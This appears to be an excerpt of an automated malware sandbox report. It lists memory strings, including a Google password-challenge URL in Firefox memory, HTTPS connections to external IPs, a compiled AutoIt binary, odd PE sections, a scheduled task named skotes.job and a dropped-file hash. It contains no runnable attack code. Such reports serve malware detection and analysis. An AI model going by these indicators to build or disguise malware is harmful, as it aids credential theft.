Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/android/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/ios/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_campa
Source: firefox.exe, 00000022.00000002.2908828534.000001F36B966000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/mobile/get-app/?utm_medium=firefox-desktop&utm_source=onboarding-mod
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#crash-reporter
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/legal/privacy/firefox.html#health-report
Source: firefox.exe, 00000022.00000002.2560485237.000001F365853000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2526904133.000001750FACB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0CC3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: firefox.exe, 00000022.00000002.2727624317.000001F366F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2876851521.000001F368445000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-content
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/#suggest-relevant-contentP
Source: firefox.exe, 00000022.00000002.2878328341.000001F368500000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2525016295.000001750F8A0000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2531933301.00000198B0D00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_c
Source: firefox.exe, 00000022.00000003.2447537773.000001F372625000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/V
Source: file.exe, 00000000.00000003.1375258090.00000000057FB000.00000004.00000800.00020000.00000000.sdmp, 6c1c4a36e1.exe, 00000012.00000003.2304546032.0000000005EB9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36ADD5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: firefox.exe, 00000022.00000002.2531343125.00000027B527C000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.orgo
Source: firefox.exe, 00000022.00000002.2884390196.000001F369B9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447692855.000001F3724EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.olx.pl/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662AB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2575904778.000001F3659DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366203000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.openh264.org/
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2893246597.000001F36A558000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.reddit.com/
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AAB6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.sling.com/
Source: firefox.exe, 00000022.00000002.2901748859.000001F36AE03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2690546838.000001F366272000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2524602490.00000198B0C0A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/
Source: firefox.exe, 00000022.00000002.2690546838.000001F3662DD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2884390196.000001F369B9C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447692855.000001F3724EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.zhihu.com/
Source: firefox.exe, 00000022.00000002.2896497516.000001F36AA98000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2899281120.000001F36ADB1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com
Source: firefox.exe, 00000022.00000003.2447988783.000001F371E63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/
Source: firefox.exe, 00000022.00000002.2550900709.000001F35A111000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2516920638.00000027AD7D8000.00000004.00000010.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2544038093.000001F359E39000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2560485237.000001F365843000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2543237722.000001F359DA0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2908828534.000001F36B91B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2522552362.000001750F74A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2533436343.000001750FB24000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2522552362.000001750F740000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2532309684.00000198B0D44000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2520845692.00000198B0A2A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2520845692.00000198B0A20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd
Source: firefox.exe, 00000022.00000002.2544038093.000001F359E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd)
Source: firefox.exe, 00000020.00000002.2350120113.000002407E29A000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2360196600.000002368DB5B000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000022.00000002.2544038093.000001F359E39000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49700
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 49699 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50032 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 49984 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49699
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 50000 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50019 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49982 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50024 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 49992 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50020 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 49765 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49987 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50030 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49702
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987

Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49700 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49702 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49765 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49982 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49983 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49984 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49987 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49989 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:49992 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50000 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50004 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.244.181.201:443 -> 192.168.2.7:50016 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50017 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50019 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 34.160.144.191:443 -> 192.168.2.7:50023 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50026 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50028 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50030 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50031 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.97.3:443 -> 192.168.2.7:50032 version: TLS 1.2

System Summary

Binary is likely a compiled AutoIt script file

Source: 9af14a3c40.exe, 00000014.00000002.2383277471.00000000004D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_c6826cb4-7
Source: 9af14a3c40.exe, 00000014.00000002.2383277471.00000000004D2000.00000002.00000001.01000000.00000010.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_c9d6a1b2-4

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name:
Source: UOZM77Y2O77YBMEWY4B8DEDXRXA.exe.0.dr	Static PE information: section name: .idata
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name:
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name: .idata
Source: SU4Z0W976Y8CJ3Z4HHN.exe.0.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name:
Source: skotes.exe.11.dr	Static PE information: section name: .idata
Source: skotes.exe.11.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name:
Source: random[1].exe.16.dr	Static PE information: section name: .idata
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name:
Source: 6c1c4a36e1.exe.16.dr	Static PE information: section name: .idata
Source: random[1].exe0.16.dr	Static PE information: section name:
Source: random[1].exe0.16.dr	Static PE information: section name: .rsrc
Source: random[1].exe0.16.dr	Static PE information: section name: .idata
Source: random[1].exe0.16.dr	Static PE information: section name:
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name:
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: .rsrc
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name: .idata
Source: 4b41d9dd20.exe.16.dr	Static PE information: section name:

PE file has a writeable .text section

Source: num[1].exe.16.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: num.exe.16.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D766B4	0_3_00D766B4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D76300	0_3_00D76300
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D769E1	0_3_00D769E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D769E1	0_3_00D769E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_00D769E1	0_3_00D769E1
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Code function: 10_2_00BBC0C0	10_2_00BBC0C0
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Code function: 10_2_00D35040	10_2_00D35040
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Code function: 10_2_00D3465E	10_2_00D3465E
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Code function: 10_2_00D34665	10_2_00D34665
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Code function: 10_2_00D4B710	10_2_00D4B710
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F5E530	16_2_00F5E530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F978BB	16_2_00F978BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F98860	16_2_00F98860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F97049	16_2_00F97049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F54DE0	16_2_00F54DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F931A8	16_2_00F931A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F92D10	16_2_00F92D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F9779B	16_2_00F9779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F54B30	16_2_00F54B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 16_2_00F87F36	16_2_00F87F36

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\num[1].exe A8ADDC675FCC27C94FF9E4775BB2E090F4DA1287AAE6B95CECC65CCF533BC61D

Source: file.exe, 00000000.00000003.1496999967.0000000005E87000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493907102.0000000005E66000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490193047.0000000005E29000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494681954.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1500033262.0000000005D7F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492057306.0000000005D72000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494027862.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490698088.0000000005E3B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1494256661.0000000005F44000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495677733.0000000005D74000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493413041.0000000005E5B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1501464675.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504252704.00000000055D2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497573666.0000000005E9C000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490442778.0000000005E2E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1487499761.00000000056E1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493287545.0000000005D75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1504205573.0000000005548000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490770249.0000000005D81000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1488487608.0000000005D80000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489685689.0000000005D79000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1487743777.0000000005621000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498037333.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489405285.0000000005D7E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1496815514.0000000005D7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490526970.0000000005EE0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498436005.0000000005EA1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491946993.0000000005F10000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491328204.0000000005D73000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1489502282.0000000005E13000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1495152661.0000000005E7B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1490611043.0000000005D7D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1493545990.0000000005F3A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1498301758.0000000005D7A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1497919878.0000000005FA5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1491578726.0000000005EFC000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.1492987376.0000000005F26000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
